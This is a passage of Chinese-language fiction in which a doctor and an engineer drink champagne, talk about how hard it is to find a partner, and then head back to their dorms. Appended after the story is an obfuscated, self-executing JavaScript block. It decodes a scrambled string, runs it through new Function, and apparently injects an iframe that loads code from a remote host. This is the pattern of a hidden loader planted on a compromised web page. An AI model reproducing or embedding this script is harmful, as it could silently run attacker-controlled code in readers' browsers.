“但是认识新人也很困难,”医生说道,看起来突然思索起来。毕竟,她在这个问题上与黛西有着相同的命运。“主动去找陌生人并不容易。而且你只能凭外貌判断。但大多数长得好看的男人都已经有伴侣,或者是同性恋者,或者简直就是白痴。”
“有时候也可能是三者兼备,”黛西笑着说,接着她们俩都笑了起来。
“但是,那么怎么才能认识一个人呢?”西莉亚又变得严肃起来。显然,她在这个问题上真的思考过很多次。“而且,真正相爱是需要时间的。只有当你更了解一个人,并发现了共同点和相似的爱好时,才会陷入爱河。当你发现没有了对方,一切都变得无聊和枯燥。当你不再愿意和对方一起做任何事情时。但要发现这一点,你首先必须更了解一个人。这是一个恶性循环。”
“所以,你的意思是,一见钟情不存在?”黛西确认道。
“是的,那是胡说八道,”她坚定地回答道。
工程师黛西微笑着说,“我还以为只有我这样想。毕竟,大多数女人都梦想着一见钟情的大爱。但你说得对,真正的爱情其实几乎是不可能的。而且随着时间的推移,要求也会提高。与二十岁时相比,如今的要求已经不同了。”
“并且改变已经习惯的东西也变得更加困难,”西莉亚补充说道。
“没错。”两人笑了笑,继续喝着香槟。“不,现状挺好的,”黛西最终回答,并回到了最初的问题。“我通常都很满足现状。”
西莉亚调皮地笑了笑。“只是偶尔需要有人陪睡,那样就完美了,对吧?”
黛西微笑着。酒精显然让她变得更加健谈。这也让她更容易回答。“是的,差不多就这样。你是说有着特殊友谊?”
听到这个描述,她们俩都笑了。西莉亚笑得很大声,引起了其他人的注意。别人看着她俩,二人明显有些惊讶,但也感到很有趣。两位女士从未如此放松和轻松。仍然站在科学家中间的杰佛瑞挑了挑右边的眉毛。对杰佛瑞来说,这两位女士的行为再次向他展示了人类种族的脆弱性。
“我想我们最好说话声音小一点,”西莉亚笑着轻声说。
黛西把酒杯放在桌子上。“我觉得我们各自该回到宿舍去上床睡觉了。我们几个小时后就要上班了。”
西莉亚不情愿地点了点头。但她当然知道黛西是对的。她拥有足够的纪律性,喝醉了也不至于不明事理。于是她们俩一起站起来,全神贯注地走向门口。
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();